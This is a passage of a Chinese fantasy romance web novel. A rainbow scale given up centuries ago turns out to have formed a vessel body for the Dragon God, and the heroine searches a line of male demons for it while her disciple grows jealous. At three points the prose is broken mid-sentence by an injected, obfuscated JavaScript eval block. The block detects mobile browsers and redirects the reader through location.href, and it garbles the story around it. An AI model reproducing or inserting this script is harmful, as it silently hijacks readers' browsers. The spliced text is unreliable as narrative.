“可是……这样合适吗?”白骊珠心中突突直跳,成为水族的王后,就算放在三百年前,那也是她连想都不敢想的事。如此,龙神已死,为了保住龙神的遗骨,她自然不在意担了这虚名。只是心中仍然不免别扭,三百年前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188131|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,最后龙神溯夜救下她,将她交给陆崖,可即使在最后的最后,他也从来没有喜欢过她。 更要紧的是,翎天称呼她为水族的王后,龙神的妻子,在场的大妖们就会承认吗? 白骊珠忐忑道:“龙神溯夜从来没有喜欢过我,我们之间也没有过婚约,大家会接受一个突然冒出来的人成为水族王后吗?” “承认不承认,关键在于这话是从谁的口中说出来。你说的大家当然不承认,我说的他们不想承认也得认。”女君声音凛然。 她转过身,看向下方围着的众多的大妖们,高声道:“各位,根据妖界的规矩,死去的大妖若有亲属在世,遗体应该由其亲属处置。如果其没有亲属,外人才可取用其身上的灵骨。龙神溯夜历无妄劫而死,但是他心爱之人仍然存世,龙神遗骨应该由其爱人处置。” 在场大妖你看看我,我看看你,人群中响起喧哗之声。 “龙神溯夜有心爱之人存世,那人是谁?” “龙神溯夜不是受到天道诅咒,不会喜欢上任何人吗?” 还有的小声私语道:“翎天大人不会是想独吞龙神遗骨,找了这么一个理由来糊弄我们吧?” 女君翎天由着大家讨论了一会,这才道:“大家想必都听过《西陵纪事》中讲的那个故事吧,西陵神女喜欢龙神溯夜,为了帮助龙神平定龙渊之乱,神女将自己作为祭仪,跳入封魔井,封印了魔渊。龙神溯夜为神女的精神所感动,找到了神女的遗体,使用龙神之心将神女复活……在场诸位有不少人当年曾参加西陵泽之战,应该知晓这段经过……” 下方有不明所以的大妖问道:“《西陵纪事》写的不是假的吗?” 他身边立马便有人反驳道:“谁说是假的了,当年西陵神女和龙神溯夜的故事闹得沸沸扬扬,但凡参加过西陵泽大战的谁不知道。可惜这么一对有情人就这样因为天道的诅咒被拆散了。龙神溯夜忘记了西陵神女,一个人回到青崖。西陵神女就在青崖脚下结庐而居,我在上山的路上还拜了西陵神女的石像呢。” 另有一人道:“正是,说起来我当年还见过西陵神女呢。西陵神女人美心善,为了炼制破魔丹,冒着危险到风华湖采药。多亏了她采药炼制破魔丹,不然我可能早就死在三百年前的大战中了……” 人群中有人纷纷附和。 白骊珠眼神闪过一丝错愕。她如今恢复了记忆,自然知道这本《西陵纪事》不能说和真实的情况毫无关系,但是也基本属于胡说八道。没有经历过西陵泽大战的大妖们信以为真也就算了,可是这些参加过西陵泽大战的还信誓旦旦佐证,难道他们都失忆了不成? 翎天用只有她一人能听见的声音说道:“白姑娘不必错愕,这本《西陵纪事》我也看过,上面的记载不全对,但白鱼族覆灭之后,白鱼一族并不为妖界众人熟知,在当时的西陵泽大家也不知道白姑娘从何而来,而且白姑娘也确实和乌金金一起出现,用破魔丹救了众多大妖。后来,大家更亲眼见证白姑娘你为了封印魔渊跳入封魔井,又被溯夜从魔渊之中救出,只是关于龙神之心的记载有些谬误而已,但这并不影响大家认为你就是西陵神女。” 白骊珠心中仍是一片茫然,这时人群中终于有人醒悟过来,说道:“就算西陵神女是龙神溯夜的心爱之人,这又和今天的事有什么关系?传闻之中西陵神女早已经失踪多年,她如今也不在青崖,连是死是活也不知道……” 翎天微微一笑:“谁说西陵神女不在青崖,你们眼前的这位白骊珠白姑娘正是失踪多年的西陵神女,也是水族的王后。龙神溯夜虽然身死,但是他留下来的遗骨理应由王后殿下处置。” 众妖的目光一起向白骊珠看过来。 虽然眼前的少女的容貌和三百年前大不一样,但还是有些参加过西陵泽大战的大妖认出了她来,不认识她的也能看出她与山下的神女祠的神女雕像十分相似。 “没想到西陵神女真的还活着,真是太好了……” “西陵神女既然还在,那龙神遗骨理应由神女处置……” 还有一些水族的大妖们朝她下拜:“见过王后殿下。” 白骊珠看着身前乌泱乌泱跪倒的人群,顿生骑虎难下的感觉,她总感觉自己今天是被女君翎天摆了一道。女君翎天早早给她设了一个套,以龙神遗骨的处置权,逼着她在众人面前承认自己就是西陵神女,也就是水族的王后。 这要是三百年前,她当然是一百个愿意。 可是如今龙神溯夜都已经死了,她要这个水族王后的虚名有什么用啊? 守活寡吗? 50. 第 50 章 不管怎么说,关于白骊珠就是龙神溯夜的心爱之人,也是水族的王后,龙神遗骨应该交由她处置已是板上钉钉的事实。 这番青崖寻宝寻了个寂寞,虽然有些大妖们还是心不甘情不愿,在女君翎天的强势威压之下,陆陆续续下山而去了。青崖之上只很快剩下翎天和她带来的羽卫,以及白骊珠、纪长怀、蓝鹊儿、乌小孙四人。 女君翎天斥退众人,只留下白骊珠单独说话。 白骊珠被女君算计一通,语气就不像之前那么客气了,“三百年前,女君用龙神溯夜逼我跳下魔渊。如今,女君又故技重施,用龙神遗骨逼我承认自己是水族王后。三百年前,女君可以说自己是为了整个妖界,可如今,白骊珠实在不知道自己还有什么价值能值得女君如此算计?” 翎天神色一僵,但很快便收了愠色,摇头道:“白姑娘,你误会了。三百年前虽是为了妖界,但我心中对你始终有愧疚,一心想要弥补。彼时白姑娘为了龙神大人自愿跳入封魔井,不料龙神溯夜也为了不让白姑娘你受到伤害,自愿剖心,用来封印魔渊。我原认为龙神无心无情才是妖界之福,经此一事,我认识到自己功利心太重,手段过于酷烈。我以前十分瞧不上兽神陆崖,现在也多多少少理解了陆崖从前的做法,我今日之举,只是为了成全白姑娘你和龙神溯夜。” 白骊珠:“翎天大人如果三百年前说这番话,我也许会感动。但如今龙神溯夜已死,翎天大人让我做什么水族王后,是为了让我留在青崖守活寡吗?” “守活寡,怎么会呢?”翎天讶异地看着她,忽然想到了什么,皱眉道:“白姑娘,你是不是失去了一部分记忆?” 白骊珠点头:“曾经失忆过,但是我现在都已经想起来了。” 翎天道:“那白姑娘可还记得,三百年前,你、白舒眉和陆崖曾到万木城找到我,让我帮你们完成一件最顶尖的灵器‘傀’?” 白骊珠惊讶道:“傀?这是什么东西?” 她努力在自己的记忆中搜寻,却一点也想不起自己和姑姑去过羽族万木城,更对所谓的灵器“傀”毫无印象。她只记得西陵泽大战结束之后,姑姑一直对女君派人拦截她们姑侄两人不满,对女君翎天心存芥蒂,没想到姑姑竟然还带着她去万木城找过翎天。 那个名为“傀”的灵器,想必非常重要。这才让姑姑愿意放下面子,到万木城求助翎天。 她心中隐隐有一种直觉,她会失去记忆,说不定也和此事有关。 “你果然忘了这件事,我当年就说过你们白鱼一族的七彩虹鳞特殊,虽然可以用来炼制‘傀’这般妖界最顶尖的灵器,但失去虹鳞,你的记忆或许会受损。” “七彩虹鳞?”白骊珠有些茫茫然,七彩虹鳞是白鱼一族独有的灵骨没错,她就是因为十五夜身怀虹鳞这种妖界仅此一家的独特灵骨,才会将十五夜认作自己的同族,谎称他是自己的徒弟。 不过,她对自己曾拥有过七彩虹鳞这种事情毫无印象。 “也罢,我就再帮你一次。白姑娘,你伸出手来。”翎天取出一块形如鸡冠的玉石,道:“这块石头名为真如灵宝,是我用自己的灵骨炼制的法器,这里保存着我过往数千年的所有记忆,也存有白姑娘和你姑姑来万木城找我的过去。白姑娘握住这块石头,闭上双眼,应该便能看到那一段往事。” 白骊珠伸手握住真如灵宝,闭上眼睛,神识仿佛落入一片红色的浓雾之中,进入了女君翎天的回忆之中。 那是三百年前的羽族万木城。 此时距离西陵泽的那场大战已经过去了好几年,各族得以休养生息,羽族万木城也是一片平和景象。 翎天在那场大战中失去了自己最重要的翎羽,妖力大大受损,她大部分时候都在梧桐宫中闭关。 那天,她在梧桐宫中修炼,门外传来翎凤的声音:“姑姑,兽族大君陆崖说有事求见姑姑。” 翎天想起陆崖平日不着调的行事风格,颇不耐烦,道:“如果是妖盟的那些事,让他同鳞昆、山岐商量后处理,如果没有要紧的事少来烦我。” 翎凤道:“陆崖大人说了,他知道姑姑在闭关,但他有很重要的事,非得求助姑姑不可。他还说了,这件事情与龙神溯夜有关,如果计划能成功,龙神溯夜也许可以渡过三百年后的无妄劫,只要姑姑肯帮忙,陆崖和整个兽族在接下来的三百年都愿意听由姑姑你的驱使。” 翎天默不作声。作为妖族实际上的主事者,她自然知道陆崖这些年在折腾什么,她一直认为天道的诅咒不可更改,任陆崖如何努力都没用。但西陵泽发生的事虽然过去数年,到底在她心中留下了不可磨灭的印记。 从前,为了妖界的长治久安,她任何事都可以做。可是西陵泽那桩事情后,她不仅对白鱼一族的那名少女有愧,对于龙神溯夜同样有愧。 她决定先听听陆崖的计划是什么,点头道:“你去请他进来。” 跟随陆崖一起进入梧桐宫的除了陆崖,还有白鱼一族最后幸存的两位女子,白骊珠和她的姑姑白舒眉。 白舒眉因为西陵泽的事大抵心中有些怨怼,脸色有些不太好看。但登门拜访,又有事相求,还是带着侄女行礼道:“见过翎天大人。” 翎天开门见山,向陆崖道:“你们有什么计划直说吧,如果在我能力范围内,我会帮忙,但仅限这一次。” 陆崖似乎没想到翎天会这么好说话,喜出望外,他道:“女君也知道,我这么多年忙忙碌碌,不过是想帮助龙神溯夜打破天道的诅咒而已,溯夜也值得我为他这么做。三千年前,我第一次认识溯夜,我就……” 他还没说完开场白,女君便颇不耐烦道:“不必重复你那些破事,直接说你们想要我做什么。” 陆崖有些讪讪的,抱怨道:“女君就不能让我把话说完吗?” 白舒眉也知道让陆崖从盘古开天辟地讲起,不知道要讲到猴年马月去。她上前道:“还是让我来说吧。翎天大人也知道,我的本职是炼器师,这些年来,我研究出了一种新的灵器,我将之命名为‘傀’。” 翎天:“傀,这是什么?” 白舒眉:“女君可以简单理解为一种容器。它是用几种珍奇灵骨和天地灵宝塑造成的大妖躯壳,本身是死物,但能捕捉死去大妖的灵魂,使灵魂借此躯壳死而复生。” 翎天心中一动,白舒眉继续道:“三百年后,龙神溯夜就会经历无妄劫,届时他一定会死于雷劫。如果我们将‘傀’放置在青崖,届时,他的魂魄不会进入下一次的轮回,而是被‘傀’所捕捉,借壳重生。换言之,如果我们的计划成功,龙神溯夜或许可以摆脱天道的诅咒,继续生活下去。他不再是龙神溯夜,他会成为摆脱宿命的自己,可以爱上他喜欢的人。” 翎天看了白骊珠一眼:“白大师这么做是为了你的侄女?” 白舒眉:“不仅为此。且不提龙神溯夜对白鱼一族的大恩,他当年在长月海大灾变之后救下了我唯一的亲人,我也一直想为他做点什么。” 翎天沉思了一会,说道:“可是炼器之道,白大师应该比我擅长,我想不出我能帮上什么忙。” 白舒眉道:“我听说翎天大人当初在西陵泽,打败魔王所用的弓箭是用您自身的翎羽所制成的?” 翎天:“不错。” 白舒眉:“我还听说翎天大人将自己头部的冠羽,打造了一块真如宝石,保存自己过往的记忆。” 翎天:“确有其事。” 白舒眉说道:“想要炼制‘傀’,最重要的材料便是出自白鱼一族的七彩虹鳞。七彩虹鳞有生血肉骨的功能,长月海覆灭之后,白鱼一族已经被埋入深海无尽之处,当世之上,虹鳞只剩下最后一片。” 她望向白骊珠,道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188132|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这最后一片虹鳞就在我的侄女白骊珠身上。妖界禁止杀妖取骨,我的侄女为了龙神溯夜,愿意献出自己的灵骨。但是,取出灵骨,即使对于修为深厚的大妖,也有着生命的危险。想来整个妖界,只有翎天大人对于取出自己身上的灵骨有经验,我等三人也正是为了此事而来。” 翎天到此终于明白了三人所求何事,她吩咐道:“翎凤,你带着陆崖和白大师到偏殿奉茶。白姑娘,你随我来。” 白骊珠跟着翎天到了内殿。 翎天上下打量了白骊珠几眼,竟是一声叹息:“想不到世间最后一片七彩虹鳞会在你身上,而虹鳞又恰好成为龙神溯夜命局的最关键之物。命运如此,一饮一啄,莫非前定吗?” 白骊珠不解,问道:“女君此言何意?” 翎天道:“白鱼一族的七彩虹鳞曾在妖界引发一场血雨腥风,白姑娘可曾知晓?” 白骊珠道:“不知。” 翎天道:“白姑娘年龄尚幼,未曾经历当年的腥风血雨,想来并不知道,我们妖族并非天生就生有灵骨,只有修炼到一定的程度,妖力富集在身体某处成为晶石,才可称之为灵骨。白鱼一族的虹鳞是唯一的例外,虹鳞并非修炼而成,一小部分的白鱼与生俱来就生有虹鳞,与其说它是上天的馈赠,不如说它是命运的诅咒……” 在翎天的讲述中,白骊珠知道了关于虹鳞的故事。 虹鳞是白鱼变异之后产生的特殊妖鳞,这片妖鳞对与世无争的白鱼本身并无什么用处,但既然可以生血肉骨,对于别的大妖却大有用处。有不少的妖类好强斗狠,在和别的大妖的争斗中,少一只胳膊断一条腿,都是常有的事。 不知是谁发现,肢体残疾之后,将白鱼一族的虹鳞放在断肢处,不久之后,断去的肢体便可以重生,但有一点,离开本体的虹鳞容易失去活性,新生的肢体一段时间之后便会萎缩,唯有吸食虹鳞所出的那只白鱼妖的鲜血,才会恢复正常。 这样的发现让整个白鱼一族遭到了灭顶之灾。有不少猎妖者专门捕捉白鱼,白鱼一族天生貌美,没有虹鳞的就养作禁脔,有时让他们彼此□□,生出的后代没有虹鳞就杀掉,生有虹鳞的养作奴隶,在有需要的时候取虹鳞为己用。 且不提活取虹鳞很有可能导致白鱼死亡,就算侥幸未死也会成为血奴。买主会在新生的肢体萎缩时,吸食白鱼的鲜血。白鱼一族天性温顺,并不嗜杀好斗,抵抗时死伤惨重。 龙神溯夜知道此事之后,他解救了沦为奴隶的白鱼一族,将他们迁居到长月海,派人保护他们。还颁布禁止猎妖的法令,最早禁止猎妖取骨,也是针对这件事。 最后,翎天说道:“七彩虹鳞加上白大师的炼器术,如果‘傀’真的能完成,你们的计划或许真的可行。龙神溯夜用龙神之心救你,你用自己身上的七彩虹鳞来救他,也很公平。但我有一件事要提醒你,我可以帮你取下虹鳞,而且不对你造成任何伤害。但是,失去虹鳞,你可能会失去一部分的记忆。” “失忆?” “不错。这世间没有任何弓箭能比得上我自己的翎羽,为了应付不可战胜的强敌,每次我的翎羽长出,我都会将之取出炼制成武器,我每次都会失去一部分的记忆。所以,我请人帮我炼制真如宝石保存自己的记忆。” 白骊珠有些犹疑:“我会忘记什么?” “这我不知道,最坏的情况,你会完全忘记与龙神溯夜相关的所有事。如今的你爱着溯夜,所以愿意为了他献出虹鳞,可是也许你醒来之后,你的生命中不再存在溯夜这个人。就算龙神溯夜能靠着‘傀’拥有第二次生命,也未必还记得你。你缘木求鱼,最后求得了一场空,你还愿意吗?” 在羽族女君探究的目光中,白骊珠微笑着,她说道:“怎么会是一场空呢?他最终能通过无妄劫,活下来,成为他想成为的人,做他想做的事,不是吗?” 51. 第 51 章 白骊珠抽回手掌,将真如宝石放回女君翎天的手上。 她没有想起她当初是如何和陆崖、姑姑一起来到万木城的,但从女君翎天的回忆中,当时的心境也多少记起一些。 西陵泽大战结束之后,她在濯水居中醒来,从陆崖口中知道龙神溯夜再次失去神智,恢复了从前懵懂痴傻的状态。 她在青崖脚下结庐而居,希望住在离他近一点的地方,心中却明白这样于事无补。想要改变溯夜的命运,还是得从天道的诅咒入手。 是的,她并不纠结溯夜是不是爱她,哪怕他会爱上别人。她恨透了被摆布的命运枷锁,想要将之劈碎,就算付出一切也在所不惜。 她跟随陆崖和姑姑来到万木城寻求一线转机,不是为了再见到青君,也不是为了让青君再爱上他,只是希望他能顺心意而活,不再是命运的囚徒。 他将龙神之心给了她,她用七彩虹鳞来还他,这很公平。 …… “白姑娘,白姑娘……你怎么了?” 女君翎天的声音在耳边响起,白骊珠从怔忪的状态中恢复神智,才发现女君翎天十分担忧地看着她。 白骊珠道:“我没事,只是想起过去的事,一时忘神。请问翎天大人,‘傀’最终炼制成功了吗?龙神溯夜如果没有死,他现在在哪?” 一开口,白骊珠发现自己的呼吸都重了许多,心绪也变得紧张起来,她的情绪终究是不由自主被往日的旧事所牵扯。 翎天答道:“你姑姑确实是炼器之道的天才,‘傀’已经炼制成功。我来青崖之前,已经从我不争气的侄女紫凰口中得知,有人正在秘密调查龙神溯夜的下落,并指使紫凰建立猎妖盟,在青崖猎杀大妖,这一切都是为了找出龙神溯夜的下落。我刚才也检查过龙神溯夜的遗骨,他的龙躯虽历天雷而死,仍有一口精气未散,甚至能与你体内的龙神之心互相感应,这也说明龙神的灵魂尚存于世,只是不知道他现在在哪里。” 白骊珠:“难道以翎天大人的能耐,也不知道龙神身在何处吗?” 翎天摇头道:“你姑姑当初制作傀,加入了很多天地灵宝,便是为了隐藏龙神的气息,使他不为天道所知。‘傀’这种东西前所未有,所以我们谁也不知道龙神溯夜如今的情况如何,也不知道他是否还记得自己是谁。至于他的所在,就连天道也不知道,我又怎么会知道。不过,找到他料也不难,那用‘傀’做成的躯体,是你的虹鳞所化。当初‘傀’制成之后,陆崖就将之放在青崖上,如果龙神苏醒,最有可能就是在青崖上……” 白骊珠想到了什么,忽然道:“翎天大人,我希望能借您的羽卫一用。” 翎天:“什么事?” 白骊珠道:“我想如果龙神在‘傀’中苏醒,如果他没有离开青崖,多半就在山顶的这些人当中。我们让女妖们下山,将男妖留下,就由我一个一个检查,一定能找出虹鳞在谁身上。” 翎天听了,也觉得这个主意不错,便让羽卫们依令而行。 不一会儿,那些离开的男妖们又被羽卫们召集了回来。 于是,雪崖之上出现了一番奇景。雪崖最西边有人支起了一个毛毡做成的帐篷,上山的所有男妖在帐篷前排起了长长的队伍。 每个排到的大妖,都在羽卫的监督之下,被迫脱下外面御寒的衣物,只允许穿着一条亵裤进入帐篷之中,在帐篷里面呆大约半炷香之后,才在羽卫的催促中抱着自己的衣物,骂骂咧咧地离开。 这次上青崖的男妖们大约有五百之数,直到日落西山,队伍仍然是长长一列。 十五夜和陆崖从天池底下出来,见到的就是这样一番奇景。 十五夜经过整整一日一夜,终于将那颗龙蛋里面的灵力全部吸纳,在吸纳完成之后,他已恢复旧日的八成修为,面容已经与龙神溯夜的原本面貌一无二致。 他知道自己的记忆有了问题。这段时日,虽零零碎碎从他人口中知道了一些自己和白骊珠的过去,到底没有做好准备,以龙神溯夜的本来面目与白骊珠相见。 他使用了一个幻容之术,将自己的外貌重新幻化成“十五夜”的模样。 陆崖一冒头,看到黑压压的羽卫,又立刻将头缩了回去。虽然是他亲自派人到万木城传信,让翎天到青崖善后,可他看到悬浮在青崖之顶的梧桐宫还是有些发怵。 这么多年来,他最服气的人是这位女君,最怕的人也是这位女君。 他回头向十五夜嘟哝道:“女君翎天也来了。” 十五夜冷呵了一声:“多稀奇啊,青崖出了这么大的事情,她这个妖界主事者难道不该来?” 陆崖苦笑:“你又不是不知道,我平生最怕的就是这个凶女人。”他东张西望,没见到白骊珠,只看到纪长怀正在不远之处,他招了招手:“长怀,过来。” 纪长怀凑了过来:“舅舅。” “羽族女君来了吗?”陆崖指了指那边长长的队伍,问道:“那边是在搞什么?你师父呢?” 一提这事,纪长怀兴奋起来,他偷偷瞄了十五夜一眼,低声道:“那边啊,是翎天女君在给我师父选妃……哦不,是选面首……” 十五夜手上青筋一跳,脸色也变得阴沉沉的,陆崖问道:“选面首?不至于吧?” 按说,翎天也不是这种人啊? 她自己当了羽族女君几千年了,还是孤家寡人一个,从来没听过和谁相好,怎么会有闲心管起白骊珠的事了。 “具体我也不是很清楚。今天早上那些大妖们上门,为了抢夺龙神溯夜的遗骨和我师父起了争执,关键时候,女君翎天赶到,将那些人赶跑了。之后,女君翎天和我师父单独说话,我隔得远,只隐隐约约听到她们说什么‘水族王后’、‘守活寡’、‘让女妖们下山,将男妖留下,就由我一个一个检查’什么的……” 纪长怀说起八卦来两眼冒光:“我想啊,翎天大人 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“对哦,我师父今日这般劳累,我得多准备点好吃的。”纪长怀屁颠屁颠地去了。 陆崖看着一旁的十五夜,胸有成竹地道:“我知道怎么回事了,翎天一定是给白骊珠说了‘傀’的事。现在嘛,她一定是觉得‘傀’就在上山的这些人当中,所以想要将‘傀’找出来。她将这些男妖聚集在一起,挨个检查,就是想从这些人身上找到‘虹鳞’,从而找到‘傀’的下落。” 十五夜问:“为什么找到‘虹鳞’就可以找到‘傀’?” 陆崖指了指他的身体,一副等着看着戏的脸孔:“因为你现在的这身躯壳,就是白舒眉用七彩虹鳞炼制而成的。当年你因为白鱼一族而颁发了禁止猎妖的法令,必然知道七彩虹鳞最大的功用是什么。白鱼一族因为长月海大灾变被灭,白骊珠是世界上最后生有七彩虹鳞的白鱼。三百年前,她自愿献出七彩虹鳞,白舒眉用之炼制了你如今的躯壳,她也因此失去了部分记忆。” “事到如今,她也差不多都想起来了。” 十五夜攥紧拳头,许多从前不明白的事豁然开朗。 原来如此。 现在的他是她身体的一部分。 她的本体是白鱼,所以他这身躯壳也是白鱼,眼角也生有和她一模一样的金边银鳞。 难怪她接触到他的身体时,他会无法反抗,因为他的躯壳原本就是她的一部分,当然会顺着她的心意而行。 还有,他会不由自主地渴求她的鲜血,每次吸食她的血之后,受到再严重的伤也会恢复。因为,她的血本来对他而言就是最好的补药。 他死在九天降下的无妄雷火之下,又从她的血和骨中长出了第二次的生命。 陆崖的声音再次在他耳边响起:“如今,翎天想必将一切经过和原委都告诉她了。溯夜,她正在找你。你还不愿意去见她吗?还不愿意承认你原来也喜欢过她吗?” 52. 第 52 章 十五夜向排队的帐篷门口走去。 他还未靠近帐篷门口,那些排队的大妖便纷纷指责。 “你这人怎么能插队呢?” “哼,一定是仗着有几分姿色,想要早点得到王后殿下的青睐,真是不要脸。” 一只熊妖阴阳怪气道:“呵,王后殿下才不会看上你这除了脸一无是处的家伙。要我说,王后殿下肯定是更喜欢我这般体格威武雄壮的。”他上前一步,拦住十五夜:“兄弟,到后面排队。” 可惜他遇到比他更横的,十五夜一抬手,那头熊妖就摔了个踉跄,正要发作,看着十五夜恶狠狠的眼神,只好灰溜溜地躲到队伍后面,人群中发出一阵哄笑之声。 妖界以实力为尊,这次没有人阻挡他,可惜到了帐篷门口,还是有两名羽卫拦住了他:“进门得先脱掉衣服。” 十五夜无奈,高声喊了一声:“师父,我可以进去吗?” 帐篷里面传来声音:“是阿夜啊。”白骊珠从帐篷里探出头:“两位大哥,这是我徒弟。” 十五夜横了两位羽卫一眼,那两位让出通道,让他走入帐篷。 帐篷之内,正站着一位眉目清秀的年轻男妖,上半身不着一物,只有下半身穿着薄薄的内裤,抱着自己的胸口瑟瑟发抖。 白骊珠正饶有兴味地上下打量这位男妖,甚至都没有抬头看他一眼。 十五夜眸光微动,心中百折千回,一团无名之火在不可知之处燃起。从前他就看不惯白骊珠将注意力放在纪长怀身上,现在他发现,不管是纪长怀、陆崖还是其他人,只要白骊珠看着其他的男人,都让他心生嫉妒。 白骊珠并没有注意到他的异样,她看到那男妖肩脊之上生出一只小小的红色鳞状凸起,就要动手去摸。 “等一下。”两道声音同时响起,一道来自十五夜,一道来自眼前这眉清目秀的男妖。 那男妖后退一步,脸上的表情似乎委屈得快要哭出来了:“姑娘,你摸了之后,会对我负责吗?” “负责?” 男妖嘤嘤道:“我还没有娶妻呢,我们虹鱼一族的规矩。男子成婚前要谨守男德,万万不可叫不知哪里来的女妖精骗去了身子……姑娘若是碰了我,就要嫁给我,当然我入赘也行……” “不行。”白骊珠还没开口,十五夜便恶狠狠地盯了过去,那瑟瑟发抖的大妖又多打了一个哆嗦。 白骊珠有些头疼,这些天她早发现了,她这捡来的便宜徒弟对她的占有欲已经超过了师徒之间的范围。这也怪自己,这一路上为了骗十五夜跟她上青崖,演师徒情深演得自己都信了,以至于让他心生误会。 “这样啊。”白骊珠收回手,她这一路上烂桃花已经太多了,眼前这凶巴巴的大徒弟还没解决呢,她可不想再添一桩麻烦事。 她看向眼前男妖,道:“那我不检查了,我先问你几个问题。” 男妖点头。 白骊珠:“你肩膀上这红色的鳞片是什么?” 男妖:“你说这个啊,我的妖身是虹鱼,是生活在西海的潜鳞洞,我们这一族鳞片就是红色的。这一片是我的背上的鳞片,是我化形之后留下。” “哦。”这也不奇怪,他们水族是这样子的。比如十五夜的眼角下方也留有一片金边银鳞,只不过比这男妖肩上的小很多。 不过,说起十五夜,白骊珠总觉得有些不对劲,似乎之前忽略了一些很重要的信息。 那虹鱼妖问道:“姑娘,你问完了吗?” 白骊珠挥了挥手,道:“问完了,没你的事了,你出去吧。” 虹鱼妖如蒙大赦,麻溜地穿好衣服,逃出帐篷。 白骊珠喊道:“下一个——” 门帘一动,一道声音从外传来:“可终于轮到我了,在下狐族纪名烟,见过神女大人。” 只见一名极为貌美的男子从外走来,男子生着一双桃花眼,眼角微微挑起,妖娆而魅惑。他虽然同样衣衫半掩,却毫无拘谨之色,对着白骊珠微微一笑,眨眼之间,潋滟妖媚。 白骊珠忽然感到一阵恍惚,隐约之间,只听到男子温柔的声音从耳边传来:“今夕何夕,遇此良人。在下仰慕神女大人已久,今日能得到神女大人的青睐,真乃三生有幸。今夕结缘,神女大人抱抱我好吗?” 白骊珠不由自主地向纪名烟走去,伸出双臂,就要抱住眼前的美人。 她向前一抱,不知抱住了个什么东西,只觉一股寒凉之气从掌心透过,将她从头到脚都刺了个透心凉,不由得打了个哆嗦,再定睛看时,房间里不知什么时候多了一根冰柱。 她方才抱的就是这根冰柱。 冰柱前方,另有一个大冰球,纪名烟被冻结在这个大冰球里,动弹不得。 十五夜正站在冰球旁边,那双眼睛看着比这大冰球还要冷几分,恨不得要在纪名烟身上剜出几个洞来。 白骊珠问道:“阿夜,刚才发生了什么?是你将这位纪公子封在冰球里面吗?” 她忍不住上手摸了摸那个冰球,通体浑圆,晶莹剔透。白骊珠啧啧称奇,瞬间凝气成冰,这得是多高阶的冰系法术才能有这效果啊? 她怎么感觉她这徒弟越来越厉害了呢? 冰球之中,纪名烟拼命呼救:“神女大人,救我……” 白骊珠看向十五夜:“阿夜,你怎么将他封在这个大冰球里啊?”放在里面,她看不见摸不着的,怎么找虹鳞啊? 十五夜冷哼一声:“师父难道看不出来,他是个男狐狸精?” 白骊珠:“看出来了,他一进门就说了他是狐族的。嗯,姓纪,说起来还是长怀的同族呢。” 纪名烟很想点头,可惜被封在冰球里,实在动不了,只能口头附和:“是啊,长怀哥哥是我的堂兄……” 十五夜冷声道:“师父难道没看出来他刚才对你施展魅惑手段,想要勾引你吗?要不是我在这里,你方才就着了他的道。我就知道,他们九尾狐一族,没一个好东西……” 魅惑…… 白骊珠后知后觉,这才想起从纪名烟进门,她确实神魂一瞬仿佛,直到抱到一根大冰柱才清醒过来。 她看向纪名烟的表情多了几分不愉,板起脸问道:“纪名烟,你魅惑我,到底有什么目的?” 冰球之中,纪名烟哭丧着脸:“这趟我们都是竹篮打水一场空,女君翎天说将要将龙神遗骨交给神女大人您保管,以后青崖都由您做主。羽族的羽卫将大家召集起来,有人说是翎天大人可怜神女大人一个人在青崖冷冷清清,要为您选个夫婿。在下一脑残……就……” 白骊珠:“就什么?” 纪名烟:“就想着用我们狐族那些魅惑小娘子的手段,勾引神女您入彀,成为您的入幕之宾。龙神的遗产那么多,您一个人也花不完,您手里稍微漏点出来,我不就跟着发财了吗……” 他还没说完,那冰球突然自顾自朝帐篷外飞了去。等白骊珠追出来,只看到那冰球朝着悬崖外的万丈深渊坠落了下去。 白骊珠几乎惊掉下巴,一回头,正对着十五夜一双浓云翻滚、满是阴霾的眼眸。 在这样的目光注视之下,白骊珠莫名有些心虚。 她转念一想,她心虚什么啊。他只是她的徒弟而已,他们之间本来就没什么,就算她刚才不小心着了那狐妖的道,也和他没有关系。 她心中的白月光青君是龙神溯夜,虽说那些事已成过去,但龙神溯夜既然没死,当务之急便是找到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203620|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “傀”,再做下一步的打算,至于徒弟的事,先缓一缓再说。 她讪讪道:“这狐妖心术不正,这次的事情就当给他一个教训,想来他也不会是我要找的人,我们还是先回去,再去看看下一个……” 十五夜的声音几乎是咬牙切齿从喉骨发出:“还有下一个?” 这个女人到底知不知道男妖和女妖是不同的,一点界限感都没有。找人是这么找的吗?孤男寡女,独处一室,还能生出什么好事。 才两个他就感觉自己肺都要炸了,如果还有下一个,他觉得他要活生生气死在这里。 白骊珠轻咳一声:“咳,阿夜,你别误会,根本没有他们说的什么选夫婿的事情。只是我要找一个对我很重要的人,问他一件事。” 